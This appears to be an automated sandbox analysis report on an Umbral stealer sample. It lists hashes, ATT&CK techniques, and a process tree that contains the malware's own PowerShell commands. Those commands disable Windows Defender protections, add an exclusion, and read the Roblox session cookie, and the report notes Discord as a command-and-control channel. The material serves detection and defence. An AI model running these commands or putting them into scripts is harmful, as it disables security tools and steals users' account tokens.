umbral | bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc

Analysis

max time kernel
94s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
03-09-2024 02:08

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General

Target

bkfaf34.exe
Size

231KB
MD5

447297048bf59e02973e2a92506bcf82
SHA1

2ed1aca8f40418d12f99675157b89e1d2d26ebb0
SHA256

bb7252177d00b2242b820310ffe3b45f31ee666d85cd6b521f93566c3edc27cc
SHA512

34c14cfb4baeab9bc45445f4167c90d1c362df04ab185a69676088011dfb3f9f78e951ece9986f42fb6ec6d31f22f7dc012d2ccbf8cf02ef0261c8aa698eaf76
SSDEEP

6144:RloZM+rIkd8g+EtXHkv/iD4VDTfGELns8d42X3Wo1b8e1mOi:joZtL+EP8VDTfGELns8d42X3Wk0

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/5020-1-0x0000025D675E0000-0x0000025D67620000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2384	powershell.exe
2204	powershell.exe
3316	powershell.exe
4476	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	bkfaf34.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
22	discord.com
23	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
10	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3328	cmd.exe
4644	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4844	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4644	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
5020	bkfaf34.exe
2384	powershell.exe
2384	powershell.exe
4476	powershell.exe
4476	powershell.exe
2204	powershell.exe
2204	powershell.exe
4536	powershell.exe
4536	powershell.exe
3316	powershell.exe
3316	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5020	bkfaf34.exe
Token: SeIncreaseQuotaPrivilege	1152	wmic.exe
Token: SeSecurityPrivilege	1152	wmic.exe
Token: SeTakeOwnershipPrivilege	1152	wmic.exe
Token: SeLoadDriverPrivilege	1152	wmic.exe
Token: SeSystemProfilePrivilege	1152	wmic.exe
Token: SeSystemtimePrivilege	1152	wmic.exe
Token: SeProfSingleProcessPrivilege	1152	wmic.exe
Token: SeIncBasePriorityPrivilege	1152	wmic.exe
Token: SeCreatePagefilePrivilege	1152	wmic.exe
Token: SeBackupPrivilege	1152	wmic.exe
Token: SeRestorePrivilege	1152	wmic.exe
Token: SeShutdownPrivilege	1152	wmic.exe
Token: SeDebugPrivilege	1152	wmic.exe
Token: SeSystemEnvironmentPrivilege	1152	wmic.exe
Token: SeRemoteShutdownPrivilege	1152	wmic.exe
Token: SeUndockPrivilege	1152	wmic.exe
Token: SeManageVolumePrivilege	1152	wmic.exe
Token: 33	1152	wmic.exe
Token: 34	1152	wmic.exe
Token: 35	1152	wmic.exe
Token: 36	1152	wmic.exe
Token: SeIncreaseQuotaPrivilege	1152	wmic.exe
Token: SeSecurityPrivilege	1152	wmic.exe
Token: SeTakeOwnershipPrivilege	1152	wmic.exe
Token: SeLoadDriverPrivilege	1152	wmic.exe
Token: SeSystemProfilePrivilege	1152	wmic.exe
Token: SeSystemtimePrivilege	1152	wmic.exe
Token: SeProfSingleProcessPrivilege	1152	wmic.exe
Token: SeIncBasePriorityPrivilege	1152	wmic.exe
Token: SeCreatePagefilePrivilege	1152	wmic.exe
Token: SeBackupPrivilege	1152	wmic.exe
Token: SeRestorePrivilege	1152	wmic.exe
Token: SeShutdownPrivilege	1152	wmic.exe
Token: SeDebugPrivilege	1152	wmic.exe
Token: SeSystemEnvironmentPrivilege	1152	wmic.exe
Token: SeRemoteShutdownPrivilege	1152	wmic.exe
Token: SeUndockPrivilege	1152	wmic.exe
Token: SeManageVolumePrivilege	1152	wmic.exe
Token: 33	1152	wmic.exe
Token: 34	1152	wmic.exe
Token: 35	1152	wmic.exe
Token: 36	1152	wmic.exe
Token: SeDebugPrivilege	2384	powershell.exe
Token: SeDebugPrivilege	4476	powershell.exe
Token: SeDebugPrivilege	2204	powershell.exe
Token: SeDebugPrivilege	4536	powershell.exe
Token: SeIncreaseQuotaPrivilege	4908	wmic.exe
Token: SeSecurityPrivilege	4908	wmic.exe
Token: SeTakeOwnershipPrivilege	4908	wmic.exe
Token: SeLoadDriverPrivilege	4908	wmic.exe
Token: SeSystemProfilePrivilege	4908	wmic.exe
Token: SeSystemtimePrivilege	4908	wmic.exe
Token: SeProfSingleProcessPrivilege	4908	wmic.exe
Token: SeIncBasePriorityPrivilege	4908	wmic.exe
Token: SeCreatePagefilePrivilege	4908	wmic.exe
Token: SeBackupPrivilege	4908	wmic.exe
Token: SeRestorePrivilege	4908	wmic.exe
Token: SeShutdownPrivilege	4908	wmic.exe
Token: SeDebugPrivilege	4908	wmic.exe
Token: SeSystemEnvironmentPrivilege	4908	wmic.exe
Token: SeRemoteShutdownPrivilege	4908	wmic.exe
Token: SeUndockPrivilege	4908	wmic.exe
Token: SeManageVolumePrivilege	4908	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 5020 wrote to memory of 1152	5020	bkfaf34.exe	86
PID 5020 wrote to memory of 1152	5020	bkfaf34.exe	86
PID 5020 wrote to memory of 1984	5020	bkfaf34.exe	90
PID 5020 wrote to memory of 1984	5020	bkfaf34.exe	90
PID 5020 wrote to memory of 2384	5020	bkfaf34.exe	92
PID 5020 wrote to memory of 2384	5020	bkfaf34.exe	92
PID 5020 wrote to memory of 4476	5020	bkfaf34.exe	94
PID 5020 wrote to memory of 4476	5020	bkfaf34.exe	94
PID 5020 wrote to memory of 2204	5020	bkfaf34.exe	98
PID 5020 wrote to memory of 2204	5020	bkfaf34.exe	98
PID 5020 wrote to memory of 4536	5020	bkfaf34.exe	101
PID 5020 wrote to memory of 4536	5020	bkfaf34.exe	101
PID 5020 wrote to memory of 4908	5020	bkfaf34.exe	103
PID 5020 wrote to memory of 4908	5020	bkfaf34.exe	103
PID 5020 wrote to memory of 3236	5020	bkfaf34.exe	105
PID 5020 wrote to memory of 3236	5020	bkfaf34.exe	105
PID 5020 wrote to memory of 4276	5020	bkfaf34.exe	107
PID 5020 wrote to memory of 4276	5020	bkfaf34.exe	107
PID 5020 wrote to memory of 3316	5020	bkfaf34.exe	109
PID 5020 wrote to memory of 3316	5020	bkfaf34.exe	109
PID 5020 wrote to memory of 4844	5020	bkfaf34.exe	111
PID 5020 wrote to memory of 4844	5020	bkfaf34.exe	111
PID 5020 wrote to memory of 3328	5020	bkfaf34.exe	114
PID 5020 wrote to memory of 3328	5020	bkfaf34.exe	114
PID 3328 wrote to memory of 4644	3328	cmd.exe	116
PID 3328 wrote to memory of 4644	3328	cmd.exe	116

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1984	attrib.exe

C:\Users\Admin\AppData\Local\Temp\bkfaf34.exe
"C:\Users\Admin\AppData\Local\Temp\bkfaf34.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5020
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1152
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\bkfaf34.exe"
  2⤵
  - Views/modifies file attributes
  PID:1984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bkfaf34.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4536
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4908
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:3236
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4276
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3316
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4844
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\bkfaf34.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3328
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4644

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
cadef9abd087803c630df65264a6c81c

SHA1
babbf3636c347c8727c35f3eef2ee643dbcc4bd2

SHA256
cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438

SHA512
7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
6a29e9f9eb72c3bffbb054cd27e3ceea

SHA1
d38f7c2ad68dcf1d24deca9792256ff53d5218b2

SHA256
7a9f831f96b9e4843751dea3ed57ee11d70bb83a5970ddf9d6bd440f4def442c

SHA512
b4826f172c6ac60ad17412a634987c45640b1b8fe03aecba26510ae224685bcd571bc4b131724036e2b502b3a8198fb69414be8c72e46f833f0601a15d313430

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
88be3bc8a7f90e3953298c0fdbec4d72

SHA1
f4969784ad421cc80ef45608727aacd0f6bf2e4b

SHA256
533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

SHA512
4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
09def8339dd01f87028174d13955a837

SHA1
213505e9417a2d49b0d316fe24b37e58e5779a8d

SHA256
63b8eb3dbc959e56e38025e4d6c465de3b3711c29d76cdbad1002e6fed91ebd1

SHA512
c08119c8c873d555c7a6e17449f3f95530f64a9f658b0ea973636ccf4b73314c1d8d526bb765ab918da418d4531c773603cc6b28d1822d27dda7b43e252b5b95

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_svz15e4j.onq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2384-13-0x00000265D2750000-0x00000265D2772000-memory.dmp

Filesize
136KB

Download
memory/2384-14-0x00007FFF10DE0000-0x00007FFF118A1000-memory.dmp

Filesize
10.8MB

Download
memory/2384-15-0x00007FFF10DE0000-0x00007FFF118A1000-memory.dmp

Filesize
10.8MB

Download
memory/2384-18-0x00007FFF10DE0000-0x00007FFF118A1000-memory.dmp

Filesize
10.8MB

Download
memory/2384-3-0x00007FFF10DE0000-0x00007FFF118A1000-memory.dmp

Filesize
10.8MB

Download
memory/5020-34-0x0000025D69DB0000-0x0000025D69E00000-memory.dmp

Filesize
320KB

Download
memory/5020-33-0x0000025D69D30000-0x0000025D69DA6000-memory.dmp

Filesize
472KB

Download
memory/5020-35-0x0000025D69CB0000-0x0000025D69CCE000-memory.dmp

Filesize
120KB

Download
memory/5020-1-0x0000025D675E0000-0x0000025D67620000-memory.dmp

Filesize
256KB

Download
memory/5020-0-0x00007FFF10DE3000-0x00007FFF10DE5000-memory.dmp

Filesize
8KB

Download
memory/5020-71-0x0000025D695C0000-0x0000025D695CA000-memory.dmp

Filesize
40KB

Download
memory/5020-72-0x0000025D69CF0000-0x0000025D69D02000-memory.dmp

Filesize
72KB

Download
memory/5020-2-0x00007FFF10DE0000-0x00007FFF118A1000-memory.dmp

Filesize
10.8MB

Download
memory/5020-90-0x00007FFF10DE0000-0x00007FFF118A1000-memory.dmp

Filesize
10.8MB

Download